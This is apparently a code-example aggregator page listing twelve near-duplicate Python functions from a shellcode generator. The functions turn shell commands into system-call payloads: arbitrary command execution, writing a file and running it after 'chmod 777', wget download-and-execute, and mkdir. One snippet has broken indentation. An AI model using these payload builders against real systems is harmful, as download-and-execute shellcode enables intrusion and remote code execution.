Exemplo n.º 1
0
def run(command):
    command = command.replace('[space]', ' ')
    if len(command) < 5:
        command = str(command) + '    '
    #bug in line 12 & 13, check later
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 2
0
def run(command):
    command = command.replace('[space]', ' ')
    if int(len(command)) < 5:
        command = str(
            command
        ) + '[space]&&[space]echo[space]1[space]>[space]/dev/null'  #bypass a bug in here, fix later
    #bug in line 12 & 13, check later
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 3
0
def run(filename,content):
	content = binascii.b2a_hex(content.replace('[space]',' '))
	l = len(content) -1
	n = 0
	c = '\\x'
	for word in content:
		c += word
		n+=1
		if n is 2:
			n = 0
			c += '\\x'
	c = c[:-2]
	command = 'echo -e "%s" > %s' %(str(c),str(filename)) 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 4
0
def run(filename, content):
    content = binascii.b2a_hex(content.replace('[space]', ' '))
    l = len(content) - 1
    n = 0
    c = '\\x'
    for word in content:
        c += word
        n += 1
        if n is 2:
            n = 0
            c += '\\x'
    c = c[:-2]
    command = 'echo -e "%s" > %s' % (str(c), str(filename))
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 5
0
def run(filename,content,command):
	command = command.replace('[space]',' ')
	try:
		cont = binascii.b2a_hex(open(content).read())
	except:
		from core import start
		sys.exit(color.color('red')+'Error, Cannot find/open the file %s'%(content)+color.color('reset'))
	l = len(cont) -1
	n = 0
	c = '\\x'
	for word in cont:
		c += word
		n+=1
		if n is 2:
			n = 0
			c += '\\x'
	c = c[:-2]
	command = 'echo -e "%s" > %s ; chmod 777 %s ; %s'%(str(c),str(filename),str(filename),str(command))
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 6
0
def run(filename, content, command):
    command = command.replace('[space]', ' ')
    try:
        cont = binascii.b2a_hex(open(content).read())
    except:
        from core import start
        sys.exit(
            color.color('red') + 'Error, Cannot find/open the file %s' %
            (content) + color.color('reset'))
    l = len(cont) - 1
    n = 0
    c = '\\x'
    for word in cont:
        c += word
        n += 1
        if n is 2:
            n = 0
            c += '\\x'
    c = c[:-2]
    command = 'echo -e "%s" > %s ; chmod 777 %s ; %s' % (
        str(c), str(filename), str(filename), str(command))
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 7
0
def run(url, filename, command):
    command = 'wget %s -O %s ; chmod +x %s ; %s' % (
        str(url), str(filename), str(filename), str(command))
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 8
0
def run(dirname):
	command = 'mkdir %s' %(str(dirname)) 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 9
0
def run(url,filename):
	command = 'wget %s -O %s' %(str(url),str(filename)) 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 10
0
def run(dirname):
    command = 'mkdir %s' % (str(dirname))
    return template.sys(
        stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
Exemplo n.º 11
0
def run(command):
	command = command.replace('[space]',' ')
	if int(len(command)) < 5:
		command = str(command) + '[space]&&[space]echo[space]1[space]>[space]/dev/null' #bypass a bug in here, fix later
	#bug in line 12 & 13, check later 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
Exemplo n.º 12
0
def run(command):
	command = command.replace('[space]',' ')
        if len(command) < 5: 
		command = str(command) + '    '
	#bug in line 12 & 13, check later 
	return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))